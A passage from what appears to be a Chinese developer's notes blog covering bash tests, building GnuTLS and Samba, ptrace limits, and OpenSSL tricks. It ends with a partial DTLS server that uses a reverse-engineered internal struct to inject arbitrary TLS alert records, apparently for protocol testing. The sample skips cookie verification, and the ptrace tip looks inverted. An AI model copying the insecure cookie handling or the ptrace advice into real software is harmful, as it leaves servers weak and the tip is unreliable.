“$@”(加引号)并不同，”$*“将所有的参数解释成一个字符串，而”$@”是一个参数数组</p></blockquote><p><strong>shift operator</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">i=1;</span><br><span class="line">j=<span class="variable">$#</span>;<span class="comment"># $#是参数个数</span></span><br><span class="line"><span class="keyword">while</span> [ <span class="variable">$i</span> -le <span class="variable">$j</span> ] </span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;Username - <span class="variable">$i</span>: <span class="variable">$1</span>&quot;</span>;</span><br><span class="line">    i=$((i + <span class="number">1</span>));</span><br><span class="line">    <span class="built_in">shift</span> 1; <span class="comment">#移动默认的argv的索引. 此处移1位, $1就变了</span></span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure><h3 id="if"><a href="#if" class="headerlink" title="if"></a>if</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">if commands; then</span><br><span class="line">  commands</span><br><span class="line">[elif commands; then</span><br><span class="line">  commands...]</span><br><span class="line">[else</span><br><span class="line">  commands]</span><br><span class="line">fi</span><br></pre></td></tr></table></figure><table><thead><tr><th>Operation</th><th>Effect</th></tr></thead><tbody><tr><td>[ ! EXPR ]</td><td>True if <strong>EXPR</strong> is false.</td></tr><tr><td>[ ( EXPR ) ]</td><td>Returns the value of <strong>EXPR</strong>. This may be used to override the normal precedence of operators.</td></tr><tr><td>[ EXPR1 -a EXPR2 ]</td><td>True if both <strong>EXPR1</strong> and <strong>EXPR2</strong> are true.</td></tr><tr><td>[ EXPR1 -o EXPR2 ]</td><td>True if either <strong>EXPR1</strong> or <strong>EXPR2</strong> is true.</td></tr><tr><td>[ <code>-a</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists.</td></tr><tr><td>[ <code>-b</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is a block-special file.</td></tr><tr><td>[ <code>-c</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is a character-special file.</td></tr><tr><td>[ <code>-d</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is a directory.</td></tr><tr><td>[ <code>-e</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists.</td></tr><tr><td>[ <code>-f</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is a regular file.</td></tr><tr><td>[ <code>-g</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and its SGID bit is set.</td></tr><tr><td>[ <code>-h</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is a symbolic link.</td></tr><tr><td>[ <code>-k</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and its sticky bit is set.</td></tr><tr><td>[ <code>-p</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is a named pipe (FIFO).</td></tr><tr><td>[ <code>-r</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is readable.</td></tr><tr><td>[ <code>-s</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and has a size greater than zero.</td></tr><tr><td>[ <code>-t</code> <code>FD</code> ]</td><td>True if file descriptor <code>FD</code> is open and refers to a terminal.</td></tr><tr><td>[ <code>-u</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and its SUID (set user ID) bit is set.</td></tr><tr><td>[ <code>-w</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is writable.</td></tr><tr><td>[ <code>-x</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is executable.</td></tr><tr><td>[ <code>-O</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is owned by the effective user ID.</td></tr><tr><td>[ <code>-G</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is owned by the effective group ID.</td></tr><tr><td>[ <code>-L</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is a symbolic link.</td></tr><tr><td>[ <code>-N</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and has been modified since it was last read.</td></tr><tr><td>[ <code>-S</code> <code>FILE</code> ]</td><td>True if <code>FILE</code> exists and is a socket.</td></tr><tr><td>[ <code>FILE1</code> <code>-nt</code> <code>FILE2</code> ]</td><td>True if <code>FILE1</code> has been changed more recently than <code>FILE2</code>, or if <code>FILE1</code> exists and <code>FILE2</code> does not.</td></tr><tr><td>[ <code>FILE1</code> <code>-ot</code> <code>FILE2</code> ]</td><td>True if <code>FILE1</code> is older than <code>FILE2</code>, or is <code>FILE2</code> exists and <code>FILE1</code> does not.</td></tr><tr><td>[ <code>FILE1</code> <code>-ef</code> <code>FILE2</code> ]</td><td>True if <code>FILE1</code> and <code>FILE2</code> refer to the same device and inode numbers.</td></tr><tr><td>[ <code>-o</code> OPTIONNAME ]</td><td>True if shell option “OPTIONNAME” is enabled.</td></tr><tr><td><code>[ -z</code> STRING ]</td><td>True of the length if “STRING” is zero.</td></tr><tr><td><code>[ -n</code> STRING ] or [ STRING ]</td><td>True if the length of “STRING” is non-zero.</td></tr><tr><td>[ STRING1 &#x3D;&#x3D; STRING2 ]</td><td>True if the strings are equal. “&#x3D;” may be used instead of “&#x3D;&#x3D;” for strict POSIX compliance.</td></tr><tr><td>[ STRING1 !&#x3D; STRING2 ]</td><td>True if the strings are not equal.</td></tr><tr><td>[ STRING1 &lt; STRING2 ]</td><td>True if “STRING1” sorts before “STRING2” lexicographically in the current locale.</td></tr><tr><td>[ STRING1 &gt; STRING2 ]</td><td>True if “STRING1” sorts after “STRING2” lexicographically in the current locale.</td></tr><tr><td>[ ARG1 OP ARG2 ]</td><td>“OP” is one of <code>-eq</code>, <code>-ne</code>, <code>-lt</code>, <code>-le</code>, <code>-gt</code> or <code>-ge</code>. These arithmetic binary operators return true if “ARG1” is equal to, not equal to, less than, less than or equal to, greater than, or greater than or equal to “ARG2”, respectively. “ARG1” and “ARG2” are integers.</td></tr></tbody></table><h2 id="编译Gnutls"><a href="#编译Gnutls" class="headerlink" title="编译Gnutls"></a>编译Gnutls</h2><p>基于Centos7</p><p>在<a href="https://www.gnutls.org/download.html">gntls</a>下载<a href="https://www.lysator.liu.se/~nisse/nettle/">libnettle</a> 和<a href="https://gmplib.org/">gmplib</a></p><ol><li>先编译gmplib, 安装后, <code>export GMP_CFLAGS=&quot;-I/usr/local/include&quot; GMP_LIBS=&quot;-L/usr/local/lib -lgmp&quot;</code></li><li>编译安装nettle, <code>./configure --prefix=/usr --enable-static --enable-mini-gmp</code></li><li><code>export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig/:/usr/local/lib/pkgconfig/</code> 设置<code>pkg-config</code>的查找路径</li><li>设置lib路径, 编辑<code>/etc/ld.so.conf</code>, 添加一行<code>/usr/local/lib</code>, 执行<code>ldconfig -v</code></li><li>编译gnutls: <code>./configure --without-p11-kit</code></li></ol><p><a href="https://amon.org/gnutls">主要参考</a></p><h2 id="编译samba最新版"><a href="#编译samba最新版" class="headerlink" title="编译samba最新版"></a>编译samba最新版</h2><p>在安装好gnutls后, 安装需要的组件:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">$ yum install python36-dns</span><br><span class="line">$ yum install python36-markdown</span><br><span class="line">$ yum install perl</span><br><span class="line">$ yum -y install perl-CPAN</span><br><span class="line">$ yum -y install popt-devel</span><br><span class="line">$ perl -MCPAN -e <span class="string">&#x27;install JSON&#x27;</span></span><br><span class="line">To install modules, you need to configure a <span class="built_in">local</span> Perl library directory or</span><br><span class="line">escalate your privileges.  CPAN can <span class="built_in">help</span> you by bootstrapping the <span class="built_in">local</span>::lib</span><br><span class="line">module or by configuring itself to use <span class="string">&#x27;sudo&#x27;</span> (<span class="keyword">if</span> available).  You may also</span><br><span class="line">resolve this problem manually <span class="keyword">if</span> you need to customize your setup.</span><br><span class="line"></span><br><span class="line">What approach <span class="keyword">do</span> you want?  (Choose <span class="string">&#x27;local::lib&#x27;</span>, <span class="string">&#x27;sudo&#x27;</span> or <span class="string">&#x27;manual&#x27;</span>)</span><br><span class="line"> [<span class="built_in">local</span>::lib] &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; 输入enter</span><br><span class="line"></span><br><span class="line">Autoconfigured everything but <span class="string">&#x27;urllist&#x27;</span>.</span><br><span class="line"></span><br><span class="line">Now you need to choose your CPAN mirror sites.  You can <span class="built_in">let</span> me</span><br><span class="line">pick mirrors <span class="keyword">for</span> you, you can select them from a list or you</span><br><span class="line">can enter them by hand.</span><br><span class="line"></span><br><span class="line">Would you like me to automatically choose some CPAN mirror</span><br><span class="line">sites <span class="keyword">for</span> you? (This means connecting to the Internet) [<span class="built_in">yes</span>] no &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; 输入no</span><br><span class="line"></span><br><span class="line">Would you like to pick from the CPAN mirror list? [<span class="built_in">yes</span>] no &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; 输入no</span><br><span class="line">Now you can enter your own CPAN URLs by hand. A <span class="built_in">local</span> CPAN mirror can be</span><br><span class="line">listed using a <span class="string">&#x27;file:&#x27;</span> URL like <span class="string">&#x27;file:///path/to/cpan/&#x27;</span></span><br><span class="line"></span><br><span class="line">CPAN.pm needs at least one URL <span class="built_in">where</span> it can fetch CPAN files from.</span><br><span class="line"></span><br><span class="line">Please enter your CPAN site: [] http://mirrors.ustc.edu.cn/CPAN/ &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; 输入这个网址, 配置国内的源</span><br></pre></td></tr></table></figure><p>上面的组件安装完成后, 就可以配置编译了:</p><p><code>./configure --enable-debug --prefix=/home/vv/install-smb-4.17.2 --with-shared-modules=&#39;!vfs_snapper&#39;</code></p><h2 id="Linux-Ptrace的权限问题"><a href="#Linux-Ptrace的权限问题" class="headerlink" title="Linux Ptrace的权限问题"></a>Linux Ptrace的权限问题</h2><p>如果想避免同用户使用ptrace调试, 可以设置<code>prctl(PR_SET_DUMPABLE, 1LL, 0LL, 0LL, 0LL) </code>, <a href="https://www.rezilion.com/blog/the-race-to-limit-ptrace/">参考</a></p><p>与之相关的还有<code>/proc/sys/kernel/yama/ptrace_scope</code>, 这个也影响了ptrace的使用.</p><h2 id="OpenSSL技巧"><a href="#OpenSSL技巧" class="headerlink" title="OpenSSL技巧"></a>OpenSSL技巧</h2><p>如果想修改原始的send数据, <code>SSL_CTX_set_msg_callback(ctx, message_cb);</code>, 这个回调就是在send前触发.</p><p>如果想发送任意的加密数据, 可以使用<code>ssl-&gt;method-&gt;ssl_write_bytes(ssl, SSL3_RT_ALERT, data, data_length, &amp;written);</code> 去发送.</p><p>dtls server示例:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;winsock2.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/ssl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/bio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/err.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;time.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> <span class="keyword">warning</span>(disable:4996)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PSK_KEY <span class="string">&quot;Key&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PSK_IDENTITY <span class="string">&quot;Ide&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib,<span class="string">&quot;libcrypto.lib&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib,<span class="string">&quot;libssl.lib&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib,<span class="string">&quot;ws2_32.lib&quot;</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ssl_st</span> &#123;</span></span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * protocol version (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION,</span></span><br><span class="line"><span class="comment">     * DTLS1_VERSION)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">int</span> version;</span><br><span class="line">    <span class="comment">/* SSLv3 */</span></span><br><span class="line">    <span class="type">const</span> SSL_METHOD* method;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">ssl_method_st</span> // 通过逆向<span class="title">FireDaemon</span> <span class="title">OpenSSL</span> 3\<span class="title">bin</span>\<span class="title">libcrypto</span>-3-<span class="title">x64</span>.<span class="title">dll</span>得到的, 只针对<span class="title">sslv3</span>, <span class="title">openssl</span>的版本会有不同.</span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">int</span> version;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> flags;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> mask;</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_new)(ssl_st*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_clear)(ssl_st*);</span><br><span class="line">    <span class="type">void</span>(__fastcall* ssl_free)(ssl_st*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_accept)(ssl_st*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_connect)(ssl_st*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_read)(ssl_st*, <span class="type">void</span>*, <span class="type">unsigned</span> __int64, <span class="type">unsigned</span> __int64*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_peek)(ssl_st*, <span class="type">void</span>*, <span class="type">unsigned</span> __int64, <span class="type">unsigned</span> __int64*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_write)(ssl_st*, <span class="type">const</span> <span class="type">void</span>*, <span class="type">unsigned</span> __int64, <span class="type">unsigned</span> __int64*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_shutdown)(ssl_st*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_renegotiate)(ssl_st*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_renegotiate_check)(ssl_st*, <span class="type">int</span>);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_read_bytes)(ssl_st*, <span class="type">int</span>, <span class="type">int</span>*, <span class="type">unsigned</span> __int8*, <span class="type">unsigned</span> __int64, <span class="type">int</span>, <span class="type">unsigned</span> __int64*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_write_bytes)(ssl_st*, <span class="type">int</span>, <span class="type">const</span> <span class="type">void</span>*, <span class="type">unsigned</span> __int64, <span class="type">unsigned</span> __int64*);</span><br><span class="line">    <span class="type">int</span>(__fastcall* ssl_dispatch_alert)(ssl_st*);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">generate_cookie</span><span class="params">(SSL* ssl, <span class="type">unsigned</span> <span class="type">char</span>* cookie, <span class="type">unsigned</span> <span class="type">int</span>* cookie_len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">/* Generate a cookie */</span></span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Seed the random number generator */</span></span><br><span class="line">    srand(time(<span class="literal">NULL</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Generate a random cookie */</span></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">        cookie[i] = rand() % <span class="number">256</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Print the cookie */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Cookie: &quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02X&quot;</span>, cookie[i]);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    *cookie_len = <span class="number">16</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">verify_cookie</span><span class="params">(SSL* ssl, <span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span>* cookie, <span class="type">unsigned</span> <span class="type">int</span> cookie_len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">/* Verify the cookie */</span></span><br><span class="line">    <span class="comment">/* ... */</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">psk_server_cb</span><span class="params">(SSL* ssl, <span class="type">const</span> <span class="type">char</span>* identity,</span></span><br><span class="line"><span class="params">    <span class="type">unsigned</span> <span class="type">char</span>* psk, <span class="type">unsigned</span> <span class="type">int</span> max_psk_len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strcmp</span>(identity, PSK_IDENTITY) != <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Unknown PSK identity\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strlen</span>(PSK_KEY) &gt; max_psk_len)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;PSK key is too long\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>(psk, PSK_KEY, <span class="built_in">strlen</span>(PSK_KEY)+<span class="number">1</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">strlen</span>(PSK_KEY);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">print_memory</span><span class="params">(<span class="type">const</span> <span class="type">void</span>* mem, <span class="type">size_t</span> len)</span> &#123;</span><br><span class="line">    <span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span>* p = (<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span>*)mem;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i &lt; len; i += <span class="number">16</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%08zx  &quot;</span>, i);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">size_t</span> j = <span class="number">0</span>; j &lt; <span class="number">16</span>; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (i + j &lt; len) &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;%02x &quot;</span>, p[i + j]);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;   &quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot; &quot;</span>);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">size_t</span> j = <span class="number">0</span>; j &lt; <span class="number">16</span>; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (i + j &lt; len) &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>, <span class="built_in">isprint</span>(p[i + j]) ? p[i + j] : <span class="string">&#x27;.&#x27;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//void message_cb(int write_p, int version,</span></span><br><span class="line"><span class="comment">//    int content_type, const void* buf,</span></span><br><span class="line"><span class="comment">//    size_t len, SSL* ssl, void* arg) &#123;</span></span><br><span class="line"><span class="comment">//    printf(&quot;-------------dump memory------------------\n&quot;);</span></span><br><span class="line"><span class="comment">//    print_memory(buf, len);</span></span><br><span class="line"><span class="comment">//    printf(&quot;-------------dump done====================\n&quot;);</span></span><br><span class="line"><span class="comment">//&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> g_need_change = <span class="number">0</span>;</span><br><span class="line"><span class="type">long</span> <span class="title function_">send_callback</span><span class="params">(BIO* bio, <span class="type">int</span> cmd, <span class="type">const</span> <span class="type">char</span>* argp, <span class="type">int</span> argi,</span></span><br><span class="line"><span class="params">    <span class="type">long</span> argl, <span class="type">long</span> ret)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (cmd == 